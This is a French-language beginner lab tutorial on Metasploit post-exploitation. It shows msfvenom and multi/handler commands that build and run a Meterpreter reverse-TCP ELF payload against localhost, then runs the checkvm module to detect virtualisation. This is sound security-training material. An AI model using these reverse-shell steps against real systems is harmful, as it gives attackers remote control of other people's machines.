Exécuter un module de post-exploitation dans Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

La post-exploitation est la phase d'un test d'intrusion qui survient après qu'un attaquant a obtenu un accès initial à un système cible. Durant cette phase, l'objectif est de collecter plus d'informations, d'escalader les privilèges, de pivoter vers d'autres systèmes et de maintenir un accès persistant. Le Metasploit Framework fournit une vaste collection de modules de post-exploitation pour automatiser ces tâches.

Dans ce laboratoire, vous apprendrez le flux de travail fondamental pour utiliser un module de post-exploitation dans Metasploit. Vous commencerez par établir une session Meterpreter, puis rechercherez un module approprié, le configurerez et l'exécuterez sur la session active pour collecter des informations sur le système cible. Nous utiliserons le module post/linux/gather/checkvm comme exemple, qui tente de déterminer si l'hôte compromis est une machine virtuelle.

Avoir une session Meterpreter active

Dans cette étape, vous allez configurer un écouteur (listener) dans Metasploit, puis exécuter un payload pour simuler la connexion d'un hôte compromis, créant ainsi une session Meterpreter active. Cette session est le prérequis pour exécuter tout module de post-exploitation.

Tout d'abord, lançons la console Metasploit Framework. Ouvrez un terminal et tapez :

msfconsole -q

L'option -q rend la bannière de démarrage silencieuse. Une fois que vous êtes à l'invite msf6 >, nous allons configurer un écouteur. Nous utiliserons un gestionnaire générique (generic handler) et un payload Meterpreter pour Linux.

Tapez les commandes suivantes dans l'invite msfconsole :

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1

Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan en utilisant exploit -j :

exploit -j

Vous devriez voir une confirmation que le gestionnaire a démarré.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Maintenant, ouvrez un nouveau terminal (vous pouvez utiliser le bouton + dans la barre d'onglets du terminal). Dans ce nouveau terminal, nous allons générer et exécuter le payload qui se connectera à notre écouteur. Nous utiliserons msfvenom pour créer un fichier exécutable pour Linux.

Dans le second terminal, exécutez cette commande pour créer le payload :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf

Cette commande crée un fichier ELF (Executable and Linkable Format) nommé shell.elf dans votre répertoire ~/project.

Ensuite, rendez le fichier exécutable :

chmod +x ~/project/shell.elf

Enfin, exécutez le payload pour établir la session :

./shell.elf

Maintenant, revenez à votre premier terminal (celui avec msfconsole). Vous devriez voir un message indiquant qu'une nouvelle session a été créée.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400

Pour confirmer, vous pouvez lister toutes les sessions actives avec la commande sessions.

sessions

Vous verrez votre session active listée, ce qui signifie que vous êtes prêt pour la prochaine étape.

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/linux               127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)

Mettre la session en arrière-plan et utiliser la commande search pour les modules post

Dans cette étape, vous apprendrez comment interagir avec votre nouvelle session, puis revenir à l'invite principale msfconsole pour rechercher des modules de post-exploitation.

Après la commande sessions, vous êtes à l'invite msf6 >. Pour interagir avec la session, utilisez la commande sessions -i suivie de l'ID de la session.

sessions -i 1

Votre invite changera pour meterpreter >, indiquant que vous êtes maintenant à l'intérieur de la session du système compromis.

[*] Starting interaction with 1...

meterpreter >

Pour exécuter un module de post-exploitation, vous devez être à l'invite principale msf6 >. Pour laisser la session Meterpreter active tout en revenant à la console principale, utilisez la commande background.

background

Vous verrez un message confirmant que la session s'exécute en arrière-plan, et votre invite reviendra à msf6 >.

[*] Backgrounding session 1...
msf6 >

Maintenant, vous pouvez rechercher des modules de post-exploitation en utilisant la commande search. Cette commande est très puissante et peut filtrer les modules par type, plateforme, nom, et plus encore. Pour trouver des modules qui vérifient les machines virtuelles, vous pouvez rechercher le mot-clé checkvm.

search checkvm

Metasploit listera tous les modules correspondant au mot-clé.

Matching Modules
================

   ##   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   post/linux/gather/checkvm                             normal  No     Linux Gather Virtual Machine Environment Detection
   1   post/windows/gather/checkvm                           normal  No     Windows Gather Virtual Machine Environment Detection
   ...

Cela nous montre qu'il existe des modules pour Linux et Windows. Comme notre session est sur une cible Linux, nous utiliserons post/linux/gather/checkvm.

Sélectionner un module de post-exploitation comme post/linux/gather/checkvm

Dans cette étape, vous allez sélectionner le module de post-exploitation que vous avez trouvé à l'étape précédente et afficher ses options de configuration.

Pour sélectionner ou "utiliser" un module dans Metasploit, vous utilisez la commande use suivie du nom complet du module. D'après nos résultats de recherche, nous utiliserons post/linux/gather/checkvm.

use post/linux/gather/checkvm

Votre invite changera pour refléter le module actuellement sélectionné.

msf6 post(linux/gather/checkvm) >

Une fois qu'un module est sélectionné, vous devez toujours vérifier ses options pour voir ce qui doit être configuré. La commande show options affichera tous les paramètres disponibles pour le module actuel.

show options

La sortie affichera les options du module, leurs paramètres actuels et s'ils sont requis.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Comme vous pouvez le voir, l'option SESSION est requise, mais elle n'a pas encore de valeur. Cette option indique à Metasploit sur quelle de vos sessions actives exécuter le module.

Définir l'option SESSION sur votre ID de session actif

Dans cette étape, vous allez configurer l'option requise SESSION pour le module de post-exploitation.

D'après les étapes précédentes, nous savons que notre session active a un ID de 1. Nous devons fournir cet ID au module. La commande set est utilisée pour configurer les options du module.

Pour définir l'option SESSION sur 1, exécutez la commande suivante :

set SESSION 1

Vous devriez voir une confirmation que la valeur a été définie.

SESSION => 1

Pour en être certain, vous pouvez exécuter à nouveau show options pour vérifier que l'option SESSION est maintenant correctement configurée.

show options

La sortie affichera maintenant 1 comme paramètre actuel pour SESSION.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

Avec l'option SESSION définie, le module est maintenant prêt à être exécuté.

Exécuter le module et analyser les résultats

Dans cette étape, vous allez exécuter le module de post-exploitation configuré et analyser sa sortie.

Avec le module sélectionné et toutes les options requises définies, vous pouvez maintenant l'exécuter. Dans Metasploit, vous pouvez utiliser soit la commande run, soit la commande exploit pour exécuter un module. Pour les modules de post-exploitation, run est conventionnellement utilisé.

run

Le module va maintenant s'exécuter sur la session cible (Session 1). Il effectuera ses vérifications et affichera les résultats sur votre console. L'environnement LabEx s'exécute dans un environnement virtualisé, vous devriez donc voir un résultat positif.

[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed

Analyse des résultats :

La sortie indique clairement que le système cible est détecté comme une machine virtuelle Xen et KVM/QEMU. Il s'agit d'une information précieuse pour un testeur d'intrusion. Savoir qu'une cible est virtualisée peut influencer les actions futures, comme la recherche de vulnérabilités d'évasion de VM (VM escape) ou la compréhension de l'infrastructure sous-jacente.

Vous avez maintenant exécuté avec succès votre premier module de post-exploitation !

Résumé

Dans ce laboratoire, vous avez appris le flux de travail essentiel pour utiliser les modules de post-exploitation au sein du Metasploit Framework. Vous avez réussi à effectuer l'ensemble du processus, de l'établissement d'un point d'ancrage à la collecte d'informations sur le système cible.

Vous avez appris à :

  • Créer un listener et établir une session Meterpreter.
  • Mettre une session active en arrière-plan pour revenir à l'invite principale de msfconsole.
  • Utiliser la commande search pour trouver les modules de post-exploitation pertinents.
  • Sélectionner un module avec la commande use et afficher ses paramètres avec show options.
  • Configurer un module en définissant l'option requise SESSION.
  • Exécuter le module avec la commande run et analyser sa sortie.

Cette compétence fondamentale est une base pour des activités de post-exploitation plus avancées, telles que l'escalade de privilèges, la récolte d'identifiants et le mouvement latéral sur un réseau.